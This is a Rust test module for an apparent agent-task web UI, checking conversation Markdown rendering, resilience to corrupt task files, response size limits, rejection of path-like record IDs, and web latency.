27996        let mut conversation = ui.talks.get(&id).unwrap();
27997        conversation.turns.push(talk::Turn {
27998            sender: Some(talk::Sender::Persona),
27999            who: talk::Who::Agent,
28000            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28001            at: conversation.created_at,
28002            attachments: Vec::new(),
28003            usage: None,
28004            breaks: None,
28005            messages: Vec::new(),
28006            posted_by: None,
28007        });
28008        ui.talks.put(&mut conversation).unwrap();
28009
28010        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28011        let markdown = serde_json::to_value(&core.turn_bodies_md)
28012            .unwrap()
28013            .to_string();
28014        assert!(markdown.contains("\"strong\""));
28015        assert!(markdown.contains("\"table\""));
28016        assert!(markdown.contains("\"bullet_list\""));
28017        assert!(markdown.contains("\"code_block\""));
28018        assert!(!markdown.contains("\"internal_link\""));
28019        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28020        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28021        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28022
28023        // Deferred decoration still resolves the same validated task, without
28024        // touching opaque code blocks or changing the original transcript.
28025        let references = ui.references.for_talk(home.path(), &conversation);
28026        let mut decorated = core.turn_bodies_md[0].clone();
28027        references.markdown(&mut decorated);
28028        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28029        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28030        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28031        assert_eq!(
28032            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28033            conversation.turns[0].body
28034        );
28035    }
28036
28037    #[tokio::test]
28038    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28039        let home = tempfile::tempdir().unwrap();
28040        let ui = delta_test_ui(home.path());
28041        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28042        let mut run = RunState::new(
28043            PathBuf::from("/repo"),
28044            "main".into(),
28045            "01234567".into(),
28046            "Useful run".into(),
28047            Config::default(),
28048        );
28049        run.save_under(home.path()).unwrap();
28050        let mut task = Task::new(
28051            "Related".into(),
28052            "body".into(),
28053            PathBuf::from("/repo"),
28054            Source::Agent {
28055                run: talk_id.clone(),
28056                node: "chat".into(),
28057            },
28058        );
28059        task.runs = vec![run.id.clone()];
28060        ui.queue.put(&mut task).unwrap();
28061        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28062        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28063        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28064        assert!(
28065            run_detail(State(ui.clone()), Path(run.id.clone()))
28066                .await
28067                .is_ok()
28068        );
28069        assert!(
28070            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28071                .await
28072                .is_ok()
28073        );
28074        // Previously indexed corruption must not masquerade as no relationship.
28075        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28076        assert!(ui.find_task_for_run(&run.id).is_err());
28077        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28078        ui.queue.put(&mut task).unwrap();
28079        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28080    }
28081
28082    #[tokio::test]
28083    async fn conversation_sections_omit_large_task_instructions() {
28084        let home = tempfile::tempdir().unwrap();
28085        let ui = delta_test_ui(home.path());
28086        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28087        let mut task = Task::new(
28088            "filed task".into(),
28089            "large instruction ".repeat(65536),
28090            PathBuf::from("/repo"),
28091            Source::Agent {
28092                run: id.clone(),
28093                node: "chat".into(),
28094            },
28095        );
28096        ui.queue.put(&mut task).unwrap();
28097        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28098        assert_eq!(sections["tasks"][0]["id"], task.id);
28099        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28100        assert!(sections["tasks"][0].get("instruction").is_none());
28101        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28102    }
28103
28104    #[test]
28105    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28106        let home = tempfile::tempdir().unwrap();
28107        let talks = Talks::at(home.path().join("talks"));
28108        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28109        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28110        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28111        assert!(resolve_talk(&talks, "../outside").is_err());
28112        assert!(resolve_talk(&talks, "abcd").is_err());
28113        assert_eq!(
28114            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28115            "20261019-000001-abcd"
28116        );
28117    }
28118
28119    include!(concat!(
28120        env!("CARGO_MANIFEST_DIR"),
28121        "/tests/web_latency/baseline.rs"
28122    ));
28123
28124    include!(concat!(
28125        env!("CARGO_MANIFEST_DIR"),
28126        "/tests/web_latency/lists.rs"
28127    ));
28128
28129    #[tokio::test]
28130    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28131    async fn web_history_latency_measurement() {
28132        use std::time::Instant;
28133        let home = tempfile::tempdir().unwrap();
28134        let ui = delta_test_ui(home.path());
28135        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28136        let mut template = ui.talks.get(&id).unwrap();
28137        template.turns = serde_json::from_value(serde_json::json!([{
28138            "who": "operator", "body": "Show the accumulated work and its current status.",
28139            "at": Timestamp::now().to_string(),
28140        }]))
28141        .unwrap();
28142        std::fs::write(
28143            ui.talks.path_of(&id),
28144            serde_json::to_vec(&template).unwrap(),
28145        )
28146        .unwrap();
28147        let count = std::env::var("MAGI_BENCH_RECORDS")
28148            .ok()
28149            .and_then(|s| s.parse::<usize>().ok())
28150            .unwrap_or(1000);
28151        for i in 0..count {
28152            template.id = format!("20261019-{i:06}-history");
28153            template.pending = "history ".repeat(2048);
28154            std::fs::write(
28155                ui.talks.path_of(&template.id),
28156                serde_json::to_vec(&template).unwrap(),
28157            )
28158            .unwrap();
28159            let mut task = Task::new(
28160                "old task".into(),
28161                "instruction ".repeat(2048),
28162                PathBuf::from("/repo"),
28163                Source::Human,
28164            );
28165            task.id = format!("20261019-{i:06}-task");
28166            ui.queue.put(&mut task).unwrap();
28167        }
28168        for baseline in [true, false] {
28169            for clients in [1, 4] {
28170                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28171                let mut samples = Vec::new();
28172                for _ in 0..12 {
28173                    let mut jobs = Vec::new();
28174                    for _ in 0..clients {
28175                        let ui = ui.clone();
28176                        let id = id.clone();
28177                        jobs.push(tokio::spawn(async move {
28178                            let start = Instant::now();
28179                            if baseline {
28180                                let response =
28181                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28182                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28183                                return (
28184                                    elapsed,
28185                                    elapsed,
28186                                    serde_json::to_vec(&response).unwrap().len(),
28187                                );
28188                            }
28189                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28190                            let secondary = talk_sections(State(ui), Path(id));
28191                            let (first, total) = tokio::join!(
28192                                async {
28193                                    let value = core.await.unwrap().0;
28194                                    (
28195                                        start.elapsed().as_secs_f64() * 1000.0,
28196                                        serde_json::to_vec(&value).unwrap().len(),
28197                                    )
28198                                },
28199                                async {
28200                                    let value = secondary.await.unwrap().0;
28201                                    (
28202                                        start.elapsed().as_secs_f64() * 1000.0,
28203                                        serde_json::to_vec(&value).unwrap().len(),
28204                                    )
28205                                }
28206                            );
28207                            (first.0, first.0.max(total.0), first.1 + total.1)
28208                        }));
28209                    }
28210                    for job in jobs {
28211                        samples.push(job.await.unwrap());
28212                    }
28213                }
28214                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28215                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28216                first.sort_by(f64::total_cmp);
28217                total.sort_by(f64::total_cmp);
28218                let n = first.len();
28219                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28220                println!(
28221                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28222                    first[n / 2],
28223                    first[(n * 95 / 100).min(n - 1)],
28224                    total[n / 2],
28225                    total[(n * 95 / 100).min(n - 1)],
28226                    samples[0].2
28227                );
28228            }
28229        }
28230    }
28231
28232    #[test]
28233    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28234        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28235        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28236        assert!(APP_JS.contains("function nextRunRequest(id)"));
28237        assert!(APP_JS.contains("function runShell(id, summary)"));
28238        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28239        assert!(APP_JS.contains("function taskShell(id, summary)"));
28240        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28241    }
28242}